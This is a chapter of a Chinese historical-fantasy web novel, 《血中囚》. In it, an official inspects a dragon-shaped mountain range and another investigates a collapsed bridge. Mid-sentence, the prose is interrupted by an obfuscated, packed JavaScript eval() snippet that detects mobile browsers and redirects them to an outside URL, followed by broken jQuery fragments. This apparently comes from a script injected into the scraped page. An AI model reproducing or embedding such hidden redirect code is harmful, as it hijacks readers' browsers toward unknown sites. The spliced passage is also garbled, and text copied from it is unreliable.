18. 第十八章

作品:《血中囚

    岩田县离都城远,便是快马也需要十五日才能到。


    为了不耽误正事,陆清微第二日收拾了包袱,骑上马就走了。


    离开都城的第一夜,陆清微在驿站发现了偷偷跟在她身后的小尾巴。


    当时乔玉芊鬼鬼祟祟站在驿站门外,她伸进来一颗小脑袋,骨碌碌转着一双亮晶晶的大眼睛朝里瞧,像是在找什么人。


    店里跑堂的少年也发现了举止刻意的乔玉芊,他走过去不耐烦地赶人:“哎哎哎,干什么的干什么,走走走,鬼鬼祟祟的,耽误人做生意。”


    乔玉芊待要说话,陆清微先一步赶过来把人护在身后,她对少年道:“她跟我一起的,要两间房。”


    此言一出,少年立刻变了脸色,堆出谄媚的笑:“好咧,这就给客官安排。”


    打发走跑堂的,陆清微回身面对乔玉芊。


    乔玉芊抿着唇,一双无辜的大眼睛可怜巴巴地瞧着陆清微,她小声解释:“清微哥哥,我,我一个人在家害怕,也担心你,所以就偷偷跟来了。”


    不等陆清微说话,乔玉芊又自告奋勇道:“别赶我走,我可以照顾你。”


    陆清微看着乔玉芊,她一个弱女子千里迢迢跟到这儿来,这胆子是一点也不小。


    陆清微无奈道:“你一个人来的?”


    乔玉芊声音很轻:“嗯。”


    “盈盈呢?”


    “我让盈盈先回乡下了,等回了都城再叫她回来。”


    她真是让陆清微头疼。


    说又不忍心说,更别提骂她了。


    乔玉芊见陆清微一直不说话,她便问:“我可以留下来吗?”


    “现在让你回去,我也不放心。”


    说着,陆清微把乔玉芊手里的包袱拿了过来,帮她提着。


    听到陆清微松口,乔玉芊忐忑的心终于放下,她笑起来:“我保证不给你添麻烦。”


    陆清微倒不担心乔玉芊给她添麻烦,只担心这一路颠簸,乔玉芊那么娇弱的身子骨怕是吃不消。


    乔玉芊的屋子就在陆清微隔壁。


    出门在外,不管怎么说都该小心为上。


    陆清微千叮咛万嘱咐乔玉芊:“夜里若有情况就到隔壁来寻我,记住了吗?”


    她夜里睡不沉,周遭稍微有一点动静都能惊醒她。


    如果乔玉芊来敲门,她一定会醒。


    乔玉芊应下:“好,我记着了。”


    到岩田县当日,陆清微安顿好乔玉芊便跟县尉去了百转山。


    县尉是岩田县人,名唤徐正卿,四十岁上下,长相周正,穿的却极为朴素,一身半新不旧的灰蓝袍衫,一双黑色皂靴。


    徐正卿走在前面带路:“今日原本该是县丞大人来陪,可巧得很,昨儿左仆射谢大人也来了,所以今儿县丞大人走不开才命我来为大人带路。”


    陆清微稍怔,她诧异道:“谢大人来了?”


    她和谢平川一前一后到的岩田,算一算时间,谢平川和她应该是差不多的时间从都城出发的。


    “大人小心。”徐正卿指了指陆清微脚边的石块,提醒道,“对,谢大人是昨儿夜里到的。谢大人此次来是为县里塌了的那座桥。”


    陆清微蹙眉,宋衡怎么没跟她说过谢平川也要来?


    徐正卿瞧出陆清微的眼眸中一闪而过的错愕,他问道:“怎么,陆大人竟不知?”


    陆清微没正面回应徐正卿,她正色道:“我此行隐秘,所为之事你知我知,县丞大人亦知,但若走漏风声,被他人知晓,圣上怪罪下来,大家都不好交代。”


    她提醒的委婉,但徐正卿混迹官场多年,又如何听不懂她话中深意。


    龙脉兹事体大,往小了说是动摇民心,往大了说稍有不慎是可能覆灭王朝的祸事。


    此行无论县尉也好,县丞也好,都是把脑袋挂在裤腰带上办事。


    其中厉害,徐正卿怎会想不明白。


    徐正卿暗暗捏了把汗:“下官明白,下官明白,下官一定守口如瓶。”


    陆清微继续往前走:“听说县里当初建那座的桥的时候发生过怪事?”


    徐正卿原不打算在聊这事,但陆清微既然问了,他只好说:“是发生过几件怪事。建桥的时候,木桩打了几次都打不稳,后来请了道士做了场法事,洒了一碗鸡血,桩子才顺利打下去。再有就是修桥面的时候,掉下去过几个人。”


    徐正卿说着说着就摇起脑袋,扼腕叹息道:“说起来,洋和桥从一开始建的时候就不太平。因为发生的怪事多,那会儿我和县令大人提过,是不是可以改道建桥,可改道花销更大,县令大人怕上头不好批,所以就没改。”


    洋河桥没建之前,洋河两岸百姓要想过河便只能绕远路或是坐船,极为不便,两岸货物运输更是如此,人力成本,运输成本年复一年节节攀升。


    徐正卿道:“洋河桥建起来之前,这两岸百姓走亲访友,生意往来都极不便宜。论理,桥早该建了,但前些年账上没钱,修那样大,那样高的一座桥没钱怎么修?为着抓紧方便百姓,县令才硬着头皮不改道,修了洋河桥。”


    “谁能想到这桥才修好没多久就塌了,就连县令都出了事。”徐正卿连连叹息,“无妄之灾,真是无妄之灾。”


    陆清微道:“所以是鬼神作怪?”


    徐正卿像是吃了一惊的样子,捂着嘴道:“可不敢乱说啊,大人。下官也没这个意思,是下官多嘴了。”


    陆清微笑笑,宽他心思道:“不必紧张,闲聊而已,不要紧。”


    徐正卿松了口气,连连附和:“是是,是这样不错。”


    行至山峰最高处,徐正卿指着另外几处山峰道:“便是这几处山峰了。”


    九处山峰,东西向,环抱一山,打远了一瞧,犹如飞龙升腾。


    陆清微沉默良久。


    山脉确实古怪,但情况究竟如何,她还要看看。


    徐正卿问道:“大人看这……”


    陆清微不作声,默默卜了一卦。


    震卦。


    陆清微呼吸一沉。


    徐正卿迟迟等不到陆清微发话,于是又问:“大人,您看这事该怎么办?”


    几日前县丞途径此处,偶然发现了这山脉的怪异之处,大感不妙


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16210137|180834||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,回去之后便迅速秘密给司天台的大人去信说明此事。


    事关重大,司天台也不敢耽误。


    司天监宋衡面见圣上禀明山脉一事后,明帝便让他速速查明情况,妥善解决此事。


    这才有了今日徐正卿奉命为陆清微带路。


    陆清微指着形似龙身的某一处山脉道:“你回去便找些人来把这块挖断了。”


    徐正卿震惊道:“挖,挖了?”


    他望向远处山脉。


    别看远远一指似乎只是一个点,可真要走近了,那山脉连接处可状似一座小山峰,得挖到什么时候去。


    况且这样大的工程,没上百人几日内是断断办不成的。


    徐正卿如实说出他的为难处:“大人,圣上说了要尽快解决此事,可如此大的山峰要挖断,没有百人,十天半月是办不到的。”


    “何况便是真找来这么多人挖山,那好端端的把山挖空了,对外又怎么解释呢?”


    陆清微自然也想到了这一层,贸贸然挖山,必然引得流言四起,届时百姓惶恐,不知又要生出多少事端,她道:“前些日子皇陵漏水,对外便说这里的山石挖出来都运到皇陵去了。你去找几个外地的商人,等这里的山石挖出来都卖给他们,如此还算是你岩田的一笔收益。横竖百姓知道山石确实卖出去了,也不会特意打听究竟卖哪儿去了。”


    徐正卿听了之后,展眉道:“此法甚妙,甚妙。多谢大人。”


    徐正卿不禁暗暗感叹,不愧是在陛下身边当差的,玲珑心思非他这样的人能比拟。


    他这辈子只能在这么一个小地方混着,真是一点儿不委屈。


    得了陆清微的提示,回到县衙,徐正卿高高兴兴办差事去了。


    徐正卿回到县衙时是晌午,县丞孙观文尚未归。


    孙观文这一日都在外陪谢平川走访洋河桥出事的那段路。


    谢平川问了孙观文许多,比如修桥前期频发的怪事,再比如桥塌时的情形。


    孙观文答的和瓜州送到御前的奏书差不多。


    谢平川没问出新鲜事,看过已经塌了的洋河桥便回县衙查去岁修桥时留下来的文书。


    他翻了一日文书,至日暮时分才离开县衙。


    谢平川走时特意把文书都带上。


    尽管谢平川不认为事到如今,岩田县衙这些人有胆子在他眼皮底下篡改文书,可防人之心不可无,保险起见,他还是将东西带走最为稳妥。


    赵毅在前面赶马车,谢平川在车里闭目养神。


    “大人,此事您有眉目吗?”


    岩田县上报说的是怪力乱神,今儿赵毅跟着跑了一路,暂时也理不清此事头绪。


    奔波了一日,此刻谢平川难掩疲倦,他揉了揉太阳穴,声音懒倦:“这一日那些人说话做事滴水不漏,且瞧吧。”


    官场之上,他不信没有任何一点猫腻。


    今夜他仔细翻翻卷宗,或许能发现蛛丝马迹。


    谢平川想了想道:“改道,先不回客栈,去县令家里瞧瞧。”


    这一日忙得他险些将这样重要的线索给抛到脑后了。